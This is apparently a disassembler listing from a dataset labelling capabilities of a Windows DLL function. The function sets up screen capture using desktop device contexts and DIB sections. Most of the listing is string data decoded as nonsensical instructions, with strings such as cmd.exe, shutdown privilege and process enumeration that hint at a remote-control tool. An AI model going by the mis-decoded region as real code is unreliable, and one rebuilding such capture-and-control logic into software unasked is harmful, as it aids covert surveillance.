Function at 0x1000da00
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10019a1e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x1001a28c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x1000dabb
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor ebp, ebp
push str.GDI32.dll
mov dword [esp + 0x60], ebp
mov dword [esi], 0x1001a290
call edi
mov ecx, dword [esp + 0x64]
mov dword [0x10020bcc], eax
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x1000db06.2
xor edx, edx
mov dl, byte [eax + 0x1000dd04]
jmp dword [edx*4 + 0x1000dcfc]
mov dword [esi + 0x70], ecx
jmp 0x1000db19
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.1000e5c0
test al, al
jne 0x1000db3a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
push str.GetTickCount
push str.KERNEL32.dll
mov dword [esi + 0x10], 0xcc0020
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov byte [esi + 4], 1
call eax
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov dword [esi + 0x30], ebp
push str.CreateCompatibleDC
mov byte [esi + 0x24], al
mov ecx, dword [0x10020bcc]
push ecx
call ebx
mov edx, dword [esi + 0x44]
mov edi, eax
push edx
call edi
mov dword [esi + 0x4c], eax
mov eax, dword [esi + 0x44]
push eax
call edi
push ebp
mov dword [esi + 0x80], eax
call edi
push ebp
mov dword [esi + 0x48], eax
call edi
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
lea ebp, [esi + 0x5c]
push 1
push ecx
push edx
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebp], 0
mov dword [esi + 0x60], 0
call fcn.1000e210
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x2c]
push eax
push ecx
push edx
mov ecx, esi
call fcn.1000e210
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x28]
push 1
push eax
push ecx
mov ecx, esi
call fcn.1000e210
mov dword [esi + 0x6c], eax
mov edx, dword [0x10020bcc]
push str.CreateDIBSection
push edx
call ebx
mov ecx, dword [esi + 0x44]
push 0
mov edi, eax
mov eax, dword [esi + 0x64]
push 0
push ebp
push 0
push eax
push ecx
call edi
mov edx, dword [esi + 0x68]
mov dword [esi + 0x54], eax
push 0
lea eax, [esi + 0x60]
push 0
push eax
mov eax, dword [esi + 0x44]
push 0
push edx
push eax
call edi
mov edx, dword [esi + 0x68]
push 0
lea ecx, [esi + 0x78]
push 0
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x44]
push ecx
push 0
push edx
push eax
call edi
mov dword [esi + 0x84], eax
mov ecx, dword [0x10020bcc]
push str.SelectObject
push ecx
call ebx
mov edx, dword [esi + 0x58]
mov edi, eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push 0
lea ecx, [esi + 0x34]
push 0
push ecx
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], 0
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
ja 0x1001de4d
dec edi
inc si
imul ebp, dword [ebp], 0x45676552
push edx
inc ebp
outsb dx, byte [esi]
jne 0x1001de78
dec ebx
jns 0x1001de54
js 0x1001de52
add byte [eax], al
add byte [edx + 0x65], dl
push edx
push ecx
jne 0x1001de7f
jb 0x1001de95
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
dec ebx
jns 0x1001de65
add byte [eax], al
add byte [eax], al
push edx
inc ebp
outsb dx, byte [esi]
jne str.SystemParametersInfoA
push esi
popal
insb byte es:[edi], dx
jne 0x1001de99
inc ecx
add byte [eax], al
add byte [edx + 0x65], dl
push edx
inc esp
insb byte es:[edi], dx
je 0x1001dea6
push esi
popal
insb byte es:[edi], dx
jne 0x1001deab
inc ecx
add byte [edx + 0x65], dl
push edx
inc esp
insb byte es:[edi], dx
insb byte es:[edi], dx
je 0x1001deb6
dec ebx
jns 0x1001de96
inc ecx
add byte [eax], al
add byte [edx + 0x65], dl
push edx
push edx
jae 0x1001ded3
outsd dx, dword [esi]
jb 0x1001dec7
dec ebx
jns 0x1001dea7
inc ecx
add byte [eax], al
push edx
push ebx
popal
jbe 0x1001ded4
dec ebx
jns str.USER32.dll
add byte [edi + ebp*2 + 0x63], cl
dec esp
outsd dx, dword [esi]
invalid
popal
insb byte es:[edi], dx
push ebx
imul edi, dword [edx + 0x65], 0x44000000
inc esp
jae 0x1001def8
add byte [ebp + 0x73], al
inc esp
jae 0x1001def8
invalid
jb 0x1001def5
outsd dx, dword [esi]
jns 0x1001decb
jne 0x1001defc
jae 0x1001defb
jb 0x1001de8e
add byte [eax], al
push ebp
jae 0x1001def8
jb 0x1001dec8
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
push ebx
jns 0x1001df12
je 0x1001df06
insd dword es:[edi], dx
push eax
popal
jb 0x1001df07
insd dword es:[edi], dx
je 0x1001df0f
jb 0x1001df1f
jae 0x1001def6
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [eax], al
add byte [ebp + 0x53], dl
push ebp
push ebx
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
inc esi
jb 0x1001df2e
add byte gs:[eax], al
add byte gs:[eax], al
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
push ebp
outsb dx, byte [esi]
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ebx], bp
add byte [eax], al
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
dec esp
outsd dx, dword [esi]
arpl word [ebx], bp
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [eax], ax
inc edi
insb byte es:[edi], dx
outsd dx, dword [esi]
bound esp, qword [ecx + 0x6c]
popal
insb byte es:[edi], dx
push ebx
imul edi, dword [edx + 0x65], 0x65530000
push ebx
insb byte es:[edi], dx
jp 0x1001df63
add byte [eax], al
push ebx
insb byte es:[edi], dx
arpl word gs:[edi + ecx*2 + 0x62], si
push 0x65
dec edi
bound ebp, qword [edx + 0x65]
arpl word [eax + eax], si
add byte [eax], al
inc ebx
jb 0x1001df78
add byte [ebx + 0x72], al
inc ebx
invalid
popal
popal
je 0x1001df7b
inc esp
dec ecx
inc edx
push ebx
arpl word gs:[ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
inc ebx
jb str.cmd.exe
popal
je 0x1001df8f
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001df90
popal
je 0x1001df9a
bound ebp, qword [ebp + 0x44]
inc ebx
add byte [eax], al
inc edi
inc esp
dec ecx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebp + 0x6c], al
inc esp
insb byte es:[edi], dx
je 0x1001dfaf
dec edi
bound ebp, qword [edx + 0x65]
arpl word [eax + eax], si
add byte [eax], al
inc esp
insb byte es:[edi], dx
je 0x1001dfbf
inc esp
inc ebx
add byte [eax], al
add byte [eax], al
inc edx
imul esi, dword [edx + eax*2 + 0x6c], 0x47000074
inc edi
je 0x1001dfb0
inc edx
insb byte es:[edi], dx
je 0x1001df67
add byte [edi + 0x65], al
inc edi
je 0x1001dfb0
dec ecx
inc edx
imul esi, dword [ebx + esi*2], 0x72430000
inc ebx
jb 0x1001dfdc
popal
je 0x1001dfdf
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001dfe0
je 0x1001dfea
bound ebp, qword [ebp + 0x42]
imul esi, dword [ebp + ebp*2 + 0x61], 0x5c000070
pop esp
pop esp
arpl word [ebp + 0x64], bp
js 0x1001dff9
js 0x1001dff9
add byte [eax], al
add byte [eax], al
inc ebx
jb 0x1001e000
popal
popal
je 0x1001e003
push eax
imul esi, dword [eax + 0x65], 0x654b0000
dec ebx
jb 0x1001e016
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
inc edi
je 0x1001e00b
je 0x1001e01b
jb 0x1001e030
jne 0x1001e02e
dec ecx
outsb dx, byte [esi]
outsw dx, word [esi]
inc ecx
add byte [ecx + ebp*2 + 0x73], al
inc esp
imul esi, dword [ebx + 0x63], 0x656e6e6f
arpl word [esi + ecx*2 + 0x61], si
insd dword es:[edi], dx
push eax
imul esi, dword [eax + 0x65], 0x72655400
push esp
jb 0x1001e049
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
je 0x1001e046
push eax
push eax
jb 0x1001e053
arpl word [ebp + 0x73], sp
jae 0x1001dfe9
add byte [eax], al
add byte [eax + 0x65], dl
push eax
imul ecx, dword gs:[esi + 0x61], 0x6d
add byte [eax], al
push eax
imul ecx, dword gs:[esi + 0x61], 0x6d
push eax
imul esi, dword [eax + 0x65], 0x57000000
push edi
popal
add byte [eax], al
add byte [edi + 0x61], dl
push edi
popal
imul esi, dword [esi + eax*2 + 0x6f], 0x6c754d72
inc esi
outsd dx, dword [esi]
jb 0x1001e051
dec ebp
jne 0x1001e072
je 0x1001e071
jo 0x1001e076
dec edi
dec edi
bound ebp, qword [edx + 0x65]
arpl word [ebx + esi*2], si
add byte [edi + 0x70], cl
dec edi
invalid
outsb dx, byte gs:[esi]
push eax
jb 0x1001e08a
arpl word [ebp + 0x73], sp
jae str.GetModuleFileNameExA
inc edi
je 0x1001e071
outsd dx, dword [esi]
jne 0x1001e094
inc esi
imul ebp, dword [ebp + 0x4e], 0x45656d61
popal
insd dword es:[edi], dx
inc ebp
js 0x1001e075
add byte [eax], al
add byte [eax], al
inc ebp
outsb dx, byte [esi]
jne 0x1001e0a9
push eax
jb 0x1001e0ae
arpl word [ebp + 0x73], sp
jae 0x1001e091
outsd dx, dword [esi]
jne 0x1001e0b4
jne 0x1001e0b4
jae 0x1001e04b
add byte [eax + 0x53], dl
push eax
push ebx
inc ecx
push eax
dec ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc esp
bound esi, qword gs:[ebp + 0x67]
push eax
jb 0x1001e0cb
jbe 0x1001e0cd
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [eax], al
push ebx
push ebx
push 0x6f647475
je 0x1001e0d7
outsd dx, dword fs:[esi]
outsd dx, dword [esi]
ja 0x1001e0e4
outsb dx, byte [esi]
push eax
jb 0x1001e0e2
jbe 0x1001e0e4
insb byte es:[edi], dx
add byte gs:[di + 0x78], ah
js 0x1001e0f3
insb byte es:[edi], dx
outsd dx, dword [esi]
jb 0x1001e0ec
jb 0x1001e0b7
js 0x1001e0f1
js 0x1001e0f1
add byte [eax], al
add byte [eax], al
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
imul esi, dword [ebp + 0x70], 0x41
jne 0x1001e106
inc ecx
arpl word [ebx + 0x6f], sp
jne 0x1001e10a
je 0x1001e0f1
imul esp, dword [ecx + eax*2], 0x65470000
inc edi
je 0x1001e0fc
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0x49
outsb dx, byte [esi]
outsw dx, word [esi]
jb 0x1001e11f
popal
je 0x1001e11e
imul ebp, dword [edi + 0x6e], 0x65704f00
dec edi
jo 0x1001e120
outsb dx, byte [esi]
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [edi + 0x70], cl
dec edi
jo 0x1001e120
outsb dx, byte [esi]
push eax
jb 0x1001e12e
arpl word [ebp + 0x73], sp
jae 0x1001e118
outsd dx, dword [esi]
imul esp, dword [ebp + 0x6e], 0
add byte [eax], al
add byte [edi + 0x65], al
inc edi
je 0x1001e113
je 0x1001e113
jne str.32770
jb 0x1001e139
outsb dx, byte [esi]
je 0x1001e12b
push 0x64616572
dec ecx
add byte fs:[eax], al
dec ecx
outsb dx, byte [esi]
je 0x1001e149
jb 0x1001e154
je 0x1001e13b
popal
inc esi
inc esi
imul ebp, dword [ebp], 0x4d000000
dec ebp
add byte [eax], al
add byte [eax], al
dec ebp
add byte [eax], al
add byte [ebp + 0x6f], cl
dec ebp
outsd dx, dword [esi]
outsd dx, dword [esi]
jp 0x1001e161
insb byte es:[edi], dx
insb byte es:[edi], dx
popal
das
xor al, 0x2e
xor byte [eax], ah
sub byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001e167
je 0x1001e171
bound ebp, qword [ebp + 0x29]
add byte [eax], al
add byte [eax], al
inc ebx
push esi
sub dword gs:[eax], eax
add byte [eax], al
add byte [ebx + 0x56], al
inc ebx
push esi
imul esp, dword [ebp + 0x6f], 0x706143
outsd dx, dword gs:[esi]
inc ebx
popal
jo 0x1001e11a
add byte [eax], al
arpl word [ecx + 0x70], sp
jo 0x1001e163
inc ebx
jb 0x1001e187
popal
je 0x1001e18a
inc ebx
popal
jo 0x1001e19d
jne 0x1001e19d
push edi
imul ebp, dword [esi + 0x64], 0x41776f
inc ecx
push esi
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001e174
add byte [ecx + 0x56], al
inc ecx
push esi
dec ecx
inc ebx
inc ecx
push eax
xor esi, dword [edx]
insb byte es:[edi], dx
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
and esi, dword [ebx]
xor dh, byte [edi]
aaa
xor byte [eax], al
add byte [ebx + 0x72], al
inc ebx
jb str.ICOpen
popal
je 0x1001e1b7
push edi
imul ebp, dword [esi + 0x64], 0x7845776f
inc ecx
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001e19e
js 0x1001e19c
add byte [ebx + 0x61], ah
arpl word [ecx + 0x70], sp
inc edi
je 0x1001e1a7
je 0x1001e1a7
jb 0x1001e1ce
jbe 0x1001e1cc
jb 0x1001e1ad
jae 0x1001e1cf
jb 0x1001e1d7
jo str.ICSeqCompressFrameEnd
imul ebp, dword [edi + 0x6e], 0x41
add byte [ecx + 0x43], cl
dec ecx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
inc ecx
add byte [eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001e1c1
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001e1f4
jae 0x1001e1f8
inc esi
jb 0x1001e1e9
popal
insd dword es:[edi], dx
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001e1d5
outsd dx, dword [esi]
insd dword es:[edi], dx
jo str.2_747:_322
jae 0x1001e20c
inc esi
jb 0x1001e1fd
insd dword es:[edi], dx
push ebx
push ebx
je 0x1001e202
jb 0x1001e217
add byte [ecx + 0x43], cl
dec ecx
inc ebx
push ebx
outsb dx, byte gs:[esi]
dec ebp
jae 0x1001e221
jae 0x1001e210
popal
add byte gs:[bx + si], al
add byte [ecx + 0x43], cl
dec ecx
inc ebx
dec edi
jo 0x1001e21e
outsb dx, byte [esi]
add byte [eax], al
dec ebp
push ebx
push esi
inc esi
push edi
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x1001e234
add byte gs:[ecx + 0x43], cl
dec ecx
inc ebx
add byte [ecx + 0x43], cl
dec ecx
inc ebx
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001e249
jae 0x1001e24d
outsd dx, dword [esi]
jb 0x1001e223
jb 0x1001e244
add byte gs:[eax], al
add byte [eax], al
dec ecx
inc ebx
push ebx
jno 0x1001e22d
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x1001e260
jae 0x1001e264
inc esi
jb 0x1001e255
insd dword es:[edi], dx
inc ebp
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dh
xor bh, byte [ebx]
aaa
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor bh, byte [ebx]
aaa
xor al, 0x37
xor al, 0x37
cmp ch, byte [0x32322b33]
xor ebp, dword [ebx]
xor dh, byte [edx]
add dword [edx], eax
add al, 3
add eax, 0x5040208
add eax, dword [0x5040208]
or byte [ecx], al
add al, byte [ebx + eax]
add dword [edx], eax
add al, 3
add eax, dword [ecx]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [eax], ecx
add dword [edx], eax
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add al, byte [ecx]
add al, byte [ecx]
add eax, dword [0x2010202]
add al, byte [ecx]
add al, byte [ecx]
add eax, dword [ebx]
add dword [edx], eax
add eax, dword [0x4020602]
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add eax, dword [ebx]
add al, byte [ecx]
add dword [ebx], eax
push es
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [edx]
add dword [edx], eax
add dword [edx], eax
push es
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2000602
add al, 0x6b
invalid
ja 0x1001e3ac
jb 0x1001e372
sub ch, byte [0x2f737571]
popal
arpl word [eax + 0x66], bp
jae 0x1001e371
pushal
insb byte es:[edi], dx
outsd dx, dword [esi]
push 0x79762873
jbe 0x1001e354
add al, 3
add dword [edx], eax
add eax, dword [0x1030602]
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add dl, byte [ecx + 2]
push es
add al, byte [edi + 0x62]
inc edi
bound esi, qword [eax + 0x6a]
inc eax
imul esp, dword [ebp + 0x67], 0x6d
add al, byte [ecx]
add al, byte [ebx]
add al, byte [0x2010403]
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
jo 0x1001e552
jb 0x1001e54f
and al, byte [edx + 0x60]
popaw
insb byte es:[di], dx
and ecx, dword [edi + 0x63]
outsb dx, byte [esi]
add al, 5
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x56020302]
push esi
jl 0x1001e5c3
add dl, byte [esi + 0x7c]
push esi
invalid
jo 0x1001e5cb
ja 0x1001e5ca
jne 0x1001e5d1
jnp 0x1001e579
and al, byte [ecx + 0x67]
bound esp, qword gs:[si + 0x6d]
inc esp
popal
bound esp, qword gs:[si + 0x6d]
sub byte [eax + 0x6f], cl
imul esp, dword [ebp + 0x6f], 0x2172746d
push edx
jl 0x1001e5e0
je 0x1001e572
add eax, dword [ecx]
add dword [0x2010202], eax
add al, byte [edx]
add dword [edx], eax
add dword [ebx], eax
add eax, 0x2010202
add al, byte [edx]
add dword [edx], eax
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add dword [edx], eax
add al, byte [ebx]
add dword [edx], eax
add eax, dword [0x5020302]
add eax, 0x5020302
add al, byte [ebx]
add al, byte [0x2010508]
or byte [0x2030201], al
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add eax, 0x4020108
add eax, dword [ecx]
add dword [eax], ecx
add dword [edx], eax
add al, 3
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add al, byte [ecx]
add al, byte [edi + edx*2]
push edi
ja 0x1001e68f
je 0x1001e691
jge 0x1001e69a
and eax, dword [bp + si + 0x66]
arpl word [ebp + 0x6e], sp
insb byte es:[edi], dx
push 0x6f4f2169
insd dword es:[edi], dx
jbe 0x1001e6a3
jno 0x1001e6a2
and dl, byte [edi + esi*2 + 0x72]
jp 0x1001e6b3
pushal
pushal
bound esp, qword [edx]
inc esi
bound eax, qword fs:[ebx]
add al, 1
add al, byte [edx]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x5020302
or byte [0x2030201], al
add eax, 0x2010403
add al, 3
add eax, 0x5040208
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
or byte [ecx], al
add al, byte [ebx + eax]
add dword [ecx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, 0x2010202
add dword [ebx], eax
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x4020602
add dword [ebx], eax
add al, byte [ecx]
add al, byte [esi]
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, dword [esi]
add dword [ebx], eax
push es
add al, byte [ecx]
add al, byte [esp + eax]
add eax, dword [ecx]
add al, byte [ebx]
add eax, 0x1030602
add eax, dword [0x1030602]
add al, byte [ebx]
add eax, 0x2050602
add al, byte [ecx]
add al, byte [ecx]
add al, byte [esi]
add al, byte [esi]
add eax, 0x2010202
add dword [edx], eax
push es
add al, byte [ebx]
add eax, dword [edx]
add dword [ecx], eax
add eax, 0x2010202
add dword [edx], eax
add eax, dword [edx]
add eax, 0x2010403
add al, byte [ebx]
